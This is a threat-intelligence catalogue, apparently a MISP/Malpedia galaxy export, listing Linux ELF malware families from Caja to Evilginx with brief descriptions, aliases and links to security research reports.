https://www.pangulab.cn/files/The_Bvp47_a_top-tier_backdoor_of_us_nsa_equation_group_ii.en.pdf

Caja

Linux malware cross-compiled for x86, MIPS, ARM. XOR encoded strings, 13 commands supported for its C&C, including downloading, file modification and execution and ability to run shell commands.

The tag is: *misp-galaxy:malpedia="Caja"*

Caja is also known as:

Table 2419. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.caja
https://mp.weixin.qq.com/s/pd6fUs5TLdBtwUHauclDOQ

Caligula

According to Avast Decoded, Caligula is an IRC multiplatform bot that allows to perform DDoS attacks. It is written in Go and distributed in ELF files targeting Intel 32/64bit code, as well as ARM 32bit and PowerPC 64bit. It is based on the Hellabot open source project.

The tag is: *misp-galaxy:malpedia="Caligula"*

Caligula is also known as:

Table 2420. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.caligula
https://decoded.avast.io/davidalvarez/go-malware-on-the-rise/

Capoae

XMRig-based mining malware written in Go.

The tag is: *misp-galaxy:malpedia="Capoae"*

Capoae is also known as:

Table 2421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.capoae

https://www.akamai.com/blog/security/capoae-malware-ramps-up-uses-multiple-vulnerabilities-and-tactics-to-spread

cd00r

A backdoor for UNIX operating systems that implements knocking as authentication method.

The tag is: *misp-galaxy:malpedia="cd00r"*

cd00r is also known as:

Table 2422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cd00r
https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631
https://github.com/aaaaaaaannn/cd00r.c/blob/master/cd00r.c

CDorked

This is in the same family as eBury, Calfbot, and is also likely related to DarkLeech

The tag is: *misp-galaxy:malpedia="CDorked"*

CDorked is also known as:

- CDorked.A

Table 2423. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdorked
https://www.welivesecurity.com/2013/04/26/linuxcdorked-new-apache-backdoor-in-the-wild-serves-blackhole/
https://blog.sucuri.net/2014/03/windigo-linux-analysis-ebury-and-cdorked.html
https://blogs.cisco.com/security/linuxcdorked-faqs
https://www.welivesecurity.com/2013/05/02/the-stealthiness-of-linuxcdorked-a-clarification/
https://www.symantec.com/security-center/writeup/2013-050214-5501-99

CDRThief

The tag is: *misp-galaxy:malpedia="CDRThief"*

CDRThief is also known as:

Table 2424. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cdrthief
https://www.welivesecurity.com/2020/09/10/who-callin-cdrthief-linux-voip-softswitches/

Cephei

The tag is: *misp-galaxy:malpedia="Cephei"*

Cephei is also known as:

Table 2425. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cephei
https://cybersecurity.att.com/blogs/labs-research/malware-using-new-ezuri-memory-loader

Cetus

The tag is: *misp-galaxy:malpedia="Cetus"*

Cetus is also known as:

Table 2426. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cetus
https://unit42.paloaltonetworks.com/cetus-cryptojacking-worm/

Chalubo

Sophos describes this malware as a DDoS bot, with its name originating from ChaCha-Lua-bot due to its use of ChaCha cipher and Lua. Variants exist for multiple architectures and it incorporates code from XorDDoS and Mirai.

The tag is: *misp-galaxy:malpedia="Chalubo"*

Chalubo is also known as:

- ChaChaDDoS

Table 2427. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.chalubo
https://blog.centurylink.com/the-pumpkin-eclipse/
https://blog.lumen.com/the-pumpkin-eclipse/

https://news.sophos.com/en-us/2018/10/22/chalubo-botnet-wants-to-ddos-from-your-server-or-iot-device/

Chaos (ELF)

Multi-functional malware written in Go, targeting both Linux and Windows, evolved from elf.kaiji.

The tag is: *misp-galaxy:malpedia="Chaos (ELF)"*

Chaos (ELF) is also known as:

Table 2428. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.chaos
https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
https://www.trendmicro.com/en_us/research/22/l/linux-cryptomining-enhanced-via-chaos-rat-.html

Chapro

The tag is: *misp-galaxy:malpedia="Chapro"*

Chapro is also known as:

Table 2429. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.chapro
http://blog.eset.com/2012/12/18/malicious-apache-module-used-for-content-injection-linuxchapro-a
http://contagiodump.blogspot.com/2012/12/dec-2012-linuxchapro-trojan-apache.html

Chisel (ELF)

Chisel is an open-source project by Jaime Pillora (jpillora) that allows tunneling TCP and UDP connections via HTTP. It is available across platforms and written in Go. While benign in itself, Chisel has been utilized by multiple threat actors. It was for example observed by SentinelOne during a PYSA ransomware campaign to achieve persistence and used as backdoor. Github: https://github.com/jpillora/chisel

The tag is: *misp-galaxy:malpedia="Chisel (ELF)"*

Chisel (ELF) is also known as:

Table 2430. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.chisel

https://www.sentinelone.com/blog/from-the-front-lines-peering-into-a-pysa-ransomware-attack/

Clop (ELF)

ELF version of clop ransomware.

The tag is: *misp-galaxy:malpedia="Clop (ELF)"*

Clop (ELF) is also known as:

- Cl0p

Table 2431. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.clop
https://www.helpnetsecurity.com/2023/02/07/cl0p-ransomware-decryptor-linux/
https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/
https://www.sentinelone.com/labs/cl0p-ransomware-targets-linux-systems-with-flawed-encryption-decryptor-available/
https://blog.talosintelligence.com/talos-ir-q2-2023-quarterly-recap/

Cloud Snooper

The tag is: *misp-galaxy:malpedia="Cloud Snooper"*

Cloud Snooper is also known as:

- Snoopy

Table 2432. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cloud_snooper
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/sophoslabs-cloud-snooper-report.pdf
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://news.sophos.com/wp-content/uploads/2020/02/CloudSnooper_report.pdf

CMS8000 Backdoor

According to CISA, this is an implant found in firmware for the Contec CMS8000, a patient monitor used by the Healthcare and Public Health sector. An embedded backdoor function with a hard-coded IP address and functionality that enables patient data spillage was identified.

The tag is: *misp-galaxy:malpedia="CMS8000 Backdoor"*

CMS8000 Backdoor is also known as:

Table 2433. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cms8000_backdoor
https://claroty.com/team82/research/are-contec-cms8000-patient-monitors-infected-with-a-chinese-backdoor-the-reality-is-more-complicated
https://www.cisa.gov/sites/default/files/2025-01/fact-sheet-contec-cms8000-contains-a-backdoor-508c.pdf

ConnectBack

ConnectBack malware is a type of malicious software designed to establish unauthorized connections from an infected system to a remote server. Once a victim's device is compromised, ConnectBack creates a covert channel for communication, allowing the attacker to remotely control and gather sensitive information from the compromised system.

The tag is: *misp-galaxy:malpedia="ConnectBack"*

ConnectBack is also known as:

- Getshell

Table 2434. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.connectback
https://labs.sucuri.net/signatures/malwares/pl-backdoor-connectback-001/

Conti (ELF)

Ransomware

The tag is: *misp-galaxy:malpedia="Conti (ELF)"*

Conti (ELF) is also known as:

- Conti Locker

Table 2435. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.conti
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://www.secureworks.com/blog/gold-ulrick-continues-conti-operations-despite-public-disclosures
https://intel471.com/blog/malware-before-ransomware-trojan-information-stealer-cobalt-strike
https://www.threatstop.com/blog/first-conti-then-hive-costa-rica-gets-hit-with-ransomware-again
https://www.esentire.com/blog/analysis-of-leaked-conti-intrusion-procedures-by-esentires-threat-response-unit-tru
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf
https://www.shadowbanker.io/2025/05/shadow-banker-makes-glorious-return-interviews-guy-exposing-conti-command-control/
https://www.advintel.io/post/advintel-s-state-of-emotet-aka-spmtools-displays-over-million-compromised-machines-through-2022
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/conti-group-targets-esxi-hypervisors-with-its-linux-variant.html
https://damonmccoy.com/papers/Ransomware_eCrime22.pdf
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself
https://www.youtube.com/watch?v=cYx7sQRbjGA
https://www.justice.gov/opa/pr/multiple-foreign-nationals-charged-connection-trickbot-malware-and-conti-ransomware
https://resources.prodaft.com/wazawaka-report
https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v

Cpuminer (ELF)

This was observed to be pushed by IoT malware, abusing devices for LiteCoin and BitCoin mining.

The tag is: *misp-galaxy:malpedia="Cpuminer (ELF)"*

Cpuminer (ELF) is also known as:

Table 2436. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cpuminer

https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/	
https://github.com/pooler/cpuminer	

Cr1ptT0r

The tag is: *misp-galaxy:malpedia="Cr1ptT0r"*

Cr1ptT0r is also known as:

- CriptTor

Table 2437. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cr1ptt0r
https://resolverblog.blogspot.com/2019/03/de-cr1pt0r-tool-cr1pt0r-ransomware.html
https://www.bleepingcomputer.com/news/security/cr1ptt0r-ransomware-infects-d-link-nas-devices-targets-embedded-systems/
https://resolverblog.blogspot.com/2019/02/d-link-dns-320-nas-cr1ptt0r-ransomware.html

CronRAT

A malware written in Bash that hides in the Linux calendar system on February 31st. Observed in relation to Magecart attacks.

The tag is: *misp-galaxy:malpedia="CronRAT"*

CronRAT is also known as:

Table 2438. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cronrat
https://sansec.io/research/cronrat

CyclopsBlink

According to CISA, Cyclops Blink appears to be a replacement framework for the VPNFilter malware exposed in 2018, and which exploited network devices, primarily small office/home office (SOHO) routers and network attached storage (NAS) devices. Cyclops Blink has been deployed since at least June 2019, fourteen months after VPNFilter was disrupted. In common with VPNFilter, Cyclops Blink deployment also appears indiscriminate and widespread. The actor has so far primarily deployed Cyclops Blink to WatchGuard and ASUS devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.

The tag is: *misp-galaxy:malpedia="CyclopsBlink"*

CyclopsBlink is also known as:

Table 2439. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.cyclops_blink
https://www.bleepingcomputer.com/news/security/asus-warns-of-cyclops-blink-malware-attacks-targeting-routers/
https://www.justice.gov/opa/pr/justice-department-announces-court-authorized-disruption-botnet-controlled-russian-federation
https://www.justice.gov/opa/video/attorney-general-merrick-b-garland-announces-enforcement-actions-disrupt-and-prosecute
https://www.justice.gov/opa/press-release/file/1491281/download
https://inquest.net/blog/2022/04/07/ukraine-cyberwar-overview
https://www.bleepingcomputer.com/news/security/cisa-warns-orgs-of-watchguard-bug-exploited-by-russian-state-hackers/
https://www.bleepingcomputer.com/news/security/us-disrupts-russian-cyclops-blink-botnet-before-being-used-in-attacks/
https://www.theregister.com/2022/03/18/cyclops_asus_routers/
https://www.shadowserver.org/news/shadowserver-special-reports-cyclops-blink/
https://www.trendmicro.com/en_us/research/22/c/cyclops-blink-sets-sights-on-asus-routers--.html
https://www.cisa.gov/uscert/ncas/alerts/aa22-054a
https://www.splunk.com/en_us/blog/security/strt-ta03-cpe-destructive-software.html
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/c/cyclops-blink-sets-sights-on-asus-routers/Appendix_Cyclops%20Blink%20Sets%20Sights%20on%20ASUS%20Routers.pdf
https://attack.mitre.org/groups/G0034
https://github.com/trendmicro/research/blob/main/cyclops_blink/c2-scripts/check.py

Dacls (ELF)

According to PCrisk, Dacls is the name of a remote access Trojan (RAT), a malicious program that allows cyber criminals to control infected computers remotely.

Research shows that this malware is tied to Lazarus Group (a group of cyber criminals) and targets Linux and the Windows Operating System. Typically, cyber criminals use RATs to steal sensitive, confidential information, infect systems with other malware, and so on. In any case, no RAT is harmless and should be uninstalled immediately.

The tag is: *misp-galaxy:malpedia="Dacls (ELF)"*

Dacls (ELF) is also known as:

Table 2440. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dacls
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.sygnia.co/mata-framework
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://securelist.com/lazarus-on-the-hunt-for-big-game/97757/
https://securelist.com/mata-multi-platform-targeted-malware-framework/97746/
https://vblocalhost.com/uploads/VB2021-Park.pdf
https://securelist.com/apt-trends-report-q2-2020/97937/
https://blog.netlab.360.com/dacls-the-dual-platform-rat/

Dark

Mirai variant exploiting CVE-2021-20090 and CVE2021-35395 for spreading.

The tag is: *misp-galaxy:malpedia="Dark"*

Dark is also known as:

- Dark.IoT

Table 2441. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark
https://www.radware.com/getmedia/d312a5fa-2d8d-4c1e-b31e-73046f24bf35/Alert-Dark-OMIGOD.aspx
https://twitter.com/ESETresearch/status/1440052837820428298?s=20
https://www.radware.com/getmedia/18d24c2d-c092-4a61-9ad6-ebb92b7a49b8/Alert_Realtek_SDK.aspx
https://blogs.juniper.net/en-us/threat-research/attacks-continue-against-realtek-vulnerabilities
https://www.lacework.com/blog/kinsing-dark-iot-botnet-among-threats-targeting-cve-2022-26134/

DarkCracks

A sophisticated payload delivery and upgrade framework, discovered in 2024. DarkCracks exploits compromised GLPI and WordPress sites to function as Downloaders and C2 servers.

The tag is: *misp-galaxy:malpedia="DarkCracks"*

DarkCracks is also known as:

Table 2442. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.darkcracks
https://blog.xlab.qianxin.com/darkcracks-an-advanced-stealthy-payload-delivery-and-upgrade-framework/

Dark Nexus

The tag is: *misp-galaxy:malpedia="Dark Nexus"*

Dark Nexus is also known as:

Table 2443. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.darknexus
https://www.stratosphereips.org/blog/2020/6/8/dark-nexus-the-old-the-new-and-the-ugly
https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html

DarkSide (ELF)

The tag is: *misp-galaxy:malpedia="DarkSide (ELF)"*

DarkSide (ELF) is also known as:

Table 2444. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.darkside
https://abcnews.go.com/Politics/biden-speak-colonial-pipeline-attack-americans-face-gasoline/story?id=77666212
https://www.crowdstrike.com/blog/how-big-game-hunting-ttps-shifted-after-darkside-pipeline-attack/
https://www.elliptic.co/blog/darkside-bitcoins-on-the-move-following-government-cyberattack-against-revil-ransomware-group
https://therecord.media/popular-hacking-forum-bans-ransomware-ads/
https://www.elliptic.co/blog/darkside-ransomware-has-netted-over-90-million-in-bitcoin
https://blog.group-ib.com/blackmatter2

https://cloud.google.com/blog/topics/threat-intelligence/darkside-affiliate-supply-chain-software-compromise

https://www.wsj.com/articles/colonial-pipeline-ceo-tells-why-he-paid-hackers-a-4-4-million-ransom-11621435636

https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf

https://www.secureworks.com/blog/ransomware-groups-use-tor-based-backdoor-for-persistent-access

https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html

https://www.justice.gov/opa/pr/department-justice-seizes-23-million-cryptocurrency-paid-ransomware-extortionists-darkside

https://www.bleepingcomputer.com/news/security/darkside-ransomware-servers-reportedly-seized-revil-restricts-targets/

https://securityscorecard.com/blog/new-evidence-supports-assessment-that-darkside-likely-responsible-for-colonial-pipeline-ransomware-attack-others-targeted

https://www.crowdstrike.com/blog/how-ransomware-adversaries-reacted-to-the-darkside-pipeline-attack/

https://www.trendmicro.com/en_us/research/21/e/darkside-linux-vms-targeted.html

https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html

https://www.maltego.com/blog/chasing-darkside-affiliates-identifying-threat-actors-connected-to-darkside-ransomware-using-maltego-intel-471-1/

https://therecord.media/darkside-ransomware-gang-moves-some-of-its-bitcoin-after-revil-got-hit-by-law-enforcement/

https://www.crowdstrike.com/blog/big-game-hunting-on-the-rise-again-according-to-ecrime-index/

https://krebsonsecurity.com/2021/05/darkside-ransomware-gang-quits-after-servers-bitcoin-stash-seized/

https://twitter.com/JAMESWT_MHT/status/1388301138437578757

https://therecord.media/darkside-ransomware-gang-says-it-lost-control-of-its-servers-money-a-day-after-biden-threat/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf

https://cybersecurity.att.com/blogs/labs-research/darkside-raas-in-linux-version

https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/

https://www.bleepingcomputer.com/news/security/chemical-distributor-pays-44-million-to-darkside-ransomware/

https://www.crowdstrike.com/blog/how-to-defend-against-conti-darkside-revil-and-other-ransomware/

https://www.youtube.com/watch?v=qxPXxWMI2i4

https://twitter.com/GelosSnake/status/1451465959894667275

https://www.technologyreview.com/2021/05/24/1025195/colonial-pipeline-ransomware-bitdefender/

https://blog.gigamon.com/2021/05/17/tracking-darkside-and-ransomware-the-network-view/

https://www.guidepointsecurity.com/from-zloader-to-darkside-a-ransomware-story/

https://therecord.media/darkside-gang-estimated-to-have-made-over-90-million-from-ransomware-attacks/

https://otx.alienvault.com/pulse/60d0afbc395c24edefb33bb9

https://medium.com/s2wlab/w1-jun-en-story-of-the-week-ransomware-on-the-darkweb-af491d33868b

https://pylos.co/2021/05/13/mind-the-air-gap/

https://www.mandiant.com/resources/shining-a-light-on-darkside-ransomware-operations

https://www.youtube.com/watch?v=NIiEcOryLpI

https://www.intel471.com/blog/darkside-ransomware-shut-down-revil-avaddon-cybercrime

https://www.databreaches.net/a-former-darkside-listing-shows-up-on-revils-leak-site/

https://www.bleepingcomputer.com/news/security/popular-russian-hacking-forum-xss-bans-all-ransomware-topics/

https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/

https://www.mcafee.com/blogs/other-blogs/mcafee-labs/darkside-ransomware-victims-sold-short/

https://blog.group-ib.com/blackmatter#

https://www.nytimes.com/2021/05/29/world/europe/ransomware-russia-darkside.html

https://www.digitalshadows.com/blog-and-research/ransomware-as-a-service-rogue-affiliates-and-whats-next/

https://blogs.blackberry.com/en/2021/09/threat-thursday-blackmatter-ransomware-as-a-service

https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself

https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout

https://www.bleepingcomputer.com/news/security/darkside-ransomware-rushes-to-cash-out-7-million-in-bitcoin/

https://www.ic3.gov/Media/News/2021/211101.pdf

https://www.elliptic.co/blog/elliptic-follows-bitcoin-ransoms-paid-by-darkside-ransomware-victims

https://www.crowdstrike.com/blog/falcon-protects-from-darkside-ransomware/

DarkRadiation

The tag is: *misp-galaxy:malpedia="DarkRadiation"*

DarkRadiation is also known as:

Table 2445. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dark_radiation
https://www.sentinelone.com/blog/darkradiation-abusing-bash-for-linux-and-docker-container-ransomware/

DDG

First activity observed in October 2017. DDG is a botnet with P2P capability that is targeting crypto currency mining (Monero).

The tag is: *misp-galaxy:malpedia="DDG"*

DDG is also known as:

Table 2446. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddg
https://blog.netlab.360.com/threat-alert-ddg-3013-is-out/
https://blog.netlab.360.com/ddg-a-mining-botnet-aiming-at-database-servers/
https://blog.netlab.360.com/ddg-mining-botnet-jin-qi-huo-dong-fen-xi/
https://blog.netlab.360.com/old-botnets-never-die-and-ddg-refuse-to-fade-away/
https://blog.netlab.360.com/ddg-botnet-round-x-is-there-an-ending/

ddoor

The tag is: *misp-galaxy:malpedia="ddoor"*

ddoor is also known as:

Table 2447. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ddoor
https://github.com/rek7/ddoor

DEADBOLT

DEADBOLT is a linux ransomware written in Go, targeting QNAP NAS devices worldwide. The files are encrypted with AES128 encryption and will have the .deadbolt extension appended to file names.

The tag is: *misp-galaxy:malpedia="DEADBOLT"*

DEADBOLT is also known as:

Table 2448. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.deadbolt
https://securelist.com/new-ransomware-trends-in-2022/106457/
https://community.riskiq.com/article/1601124b
https://www.bleepingcomputer.com/news/security/new-deadbolt-ransomware-targets-qnap-devices-asks-50-btc-for-master-key/
https://www.trendmicro.com/en_us/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html

Decoy Dog RAT

The tag is: *misp-galaxy:malpedia="Decoy Dog RAT"*

Decoy Dog RAT is also known as:

Table 2449. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.decoy_dog
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/hellhounds-operation-lahat/

Denonia

Cado discovered this malware, written in Go and targeting AWS Lambda environments.

The tag is: *misp-galaxy:malpedia="Denonia"*

Denonia is also known as:

Table 2450. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.denonia
https://thehackernews.com/2022/04/first-malware-targeting-aws-lambda.html

https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/

Derusbi (ELF)

The tag is: *misp-galaxy:malpedia="Derusbi (ELF)"*

Derusbi (ELF) is also known as:

Table 2451. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.derusbi
https://attack.mitre.org/groups/G0001/
https://twitter.com/IntezerLabs/status/1407676522534735873?s=20
https://attack.mitre.org/groups/G0096

DISGOMOJI

The tag is: *misp-galaxy:malpedia="DISGOMOJI"*

DISGOMOJI is also known as:

Table 2452. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.disgomoji
https://anchorednarratives.substack.com/p/reversing-disgomoji-with-malcat-like
https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/

Dofloo

Dofloo (aka AESDDoS) is a popular malware used to create large scale botnets that can launch DDoS attacks and load cryptocurrency miners to the infected machines.

The tag is: *misp-galaxy:malpedia="Dofloo"*

Dofloo is also known as:

- AESDDoS

Table 2453. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dofloo

Doki

The tag is: *misp-galaxy:malpedia="Doki"*

Doki is also known as:

Table 2454. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.doki
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.intezer.com/container-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/
https://www.securecoding.com/blog/all-about-doki-malware/

DoubleFantasy (ELF)

The tag is: *misp-galaxy:malpedia="DoubleFantasy (ELF)"*

DoubleFantasy (ELF) is also known as:

Table 2455. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.doublefantasy
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.antiy.com/response/FROM_EQUATION_TO_EQUATIONS.pdf

DreamBus

The tag is: *misp-galaxy:malpedia="DreamBus"*

DreamBus is also known as:

Table 2456. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.dreambus
https://www.aquasec.com/blog/aqua-cndr-stop-dreambus-botnet-attack/
https://blogs.juniper.net/en-us/threat-research/dreambus-botnet-resurfaces-targets-rocketmq-vulnerability

Ebury

This payload has been used to compromise kernel.org back in August of 2011 and has hit cPanel

Support which in turn, has infected quite a few cPanel servers. It is a credential stealing payload which steals SSH keys, passwords, and potentially other credentials.

This family is part of a wider range of tools which are described in detail in the operation windigo whitepaper by ESET.

The tag is: *misp-galaxy:malpedia="Ebury"*

Ebury is also known as:

Table 2457. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ebury
https://www.welivesecurity.com/2018/12/05/dark-side-of-the-forsshe/
https://security.web.cern.ch/security/advisories/windigo/windigo.shtml
https://www.welivesecurity.com/2014/10/15/operation-windigo-good-job-eset-says-malware-author/
https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/
https://web-assets.esetstatic.com/wls/en/papers/white-papers/ebury-is-alive-but-unseen.pdf
https://csirt.gov.it/data/cms/posts/582/attachments/66ca2e9a-68cd-4df5-81a2-674c31a699c2/download
https://www.acn.gov.it/portale/documents/20119/586040/CSIRT_Italiano_Windigo_Ebury_Variant.pdf
https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf
https://www.welivesecurity.com/wp-content/uploads/2014/03/operation_windigo.pdf
https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/
https://www.welivesecurity.com/en/eset-research/ebury-alive-unseen-400k-linux-servers-compromised-cryptotheft-financial-gain/
https://www.justice.gov/opa/pr/russian-citizen-pleads-guilty-involvement-global-botnet-conspiracy

Echobot

The latest in this long line of Mirai scourges is a new variant named Echobot. Coming to life in mid-May, the malware was first described by Palo Alto Networks in a report published at the start of June, and then again in a report by security researchers from Akamai, in mid-June.

When it was first spotted by Palo Alto Networks researchers in early June, Echobot was using exploits for 18 vulnerabilities. In the Akamai report, a week later, Echobot was at 26.

https://www.zdnet.com/article/new-echobot-malware-is-a-smorgasbord-of-vulnerabilities

The tag is: *misp-galaxy:malpedia="Echobot"*

Echobot is also known as:

Table 2458. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.echobot
https://unit42.paloaltonetworks.com/mirai-variant-echobot-resurfaces-with-13-previously-unexploited-vulnerabilities/
https://unit42.paloaltonetworks.com/new-mirai-variant-adds-8-new-exploits-targets-additional-iot-devices/
https://www.bleepingcomputer.com/news/security/new-echobot-botnet-variant-uses-over-50-exploits-to-propagate/
https://blogs.akamai.com/sitr/2019/06/latest-echobot-26-infection-vectors.html
https://www.f5.com/labs/articles/threat-intelligence/echobot-malware-now-up-to-71-exploits—targeting-scada

EdgeStepper

According to ESET Research, EdgeStepper is an adversary-in-the-middle tool, which forwards DNS traffic from machines in a targeted network to a malicious DNS node. This allows the attackers to redirect the traffic from software updates to a hijacking node that serves instructions to the legitimate software to download a malicious update.

The tag is: *misp-galaxy:malpedia="EdgeStepper"*

EdgeStepper is also known as:

Table 2459. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.edgestepper
https://www.welivesecurity.com/en/eset-research/plushdaemon-compromises-network-devices-for-adversary-in-the-middle-attacks/

Elevator

The tag is: *misp-galaxy:malpedia="Elevator"*

Elevator is also known as:

Table 2460. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.elevator
https://blog.lumen.com/taking-the-elevator-down-to-ring-0/

EnemyBot

According to the Infosec Institute, EnemyBot is a dangerous IoT botnet that has made headlines in the last few weeks. This threat, which seems to be disseminated by the Keksec group, expanded its features by adding recent vulnerabilities discovered in 2022. It was designed to attack web servers, Android devices and content management systems (CMS) servers.

The tag is: *misp-galaxy:malpedia="EnemyBot"*

EnemyBot is also known as:

Table 2461. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.enemybot
https://www.fortinet.com/blog/threat-research/enemybot-a-look-into-keksecs-latest-ddos-botnet
https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory
https://cybersecurity.att.com/blogs/labs-research/rapidly-evolving-iot-malware-enemybot-now-targeting-content-management-system-servers
https://www.securonix.com/blog/detecting-the-enemybot-botnet-advisory/
https://cybersecurity.att.com/blogs/labs-research/shikitega-new-stealthy-malware-targeting-linux

Erebus (ELF)

The tag is: *misp-galaxy:malpedia="Erebus (ELF)"*

Erebus (ELF) is also known as:

Table 2462. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.erebus
https://blog.trendmicro.com/trendlabs-security-intelligence/erebus-resurfaces-as-linux-ransomware/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf

ESXiArgs

Ransomware used to target ESXi servers.

The tag is: *misp-galaxy:malpedia="ESXiArgs"*

ESXiArgs is also known as:

Table 2463. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.esxi_args
https://www.secuinfra.com/en/techtalk/hide-your-hypervisor-analysis-of-esxiargs-ransomware/
https://www.bleepingcomputer.com/news/security/massive-esxiargs-ransomware-attack-targets-vmware-esxi-servers-worldwide/
https://blog.ovhcloud.com/ransomware-targeting-vmware-esxi/
https://www.youtube.com/watch?v=bBcvqxPdjoI

Evilginx

According to the author, Evilginx is a standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication.

The tag is: *misp-galaxy:malpedia="Evilginx"*

Evilginx is also known as:

Table 2464. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.evilginx
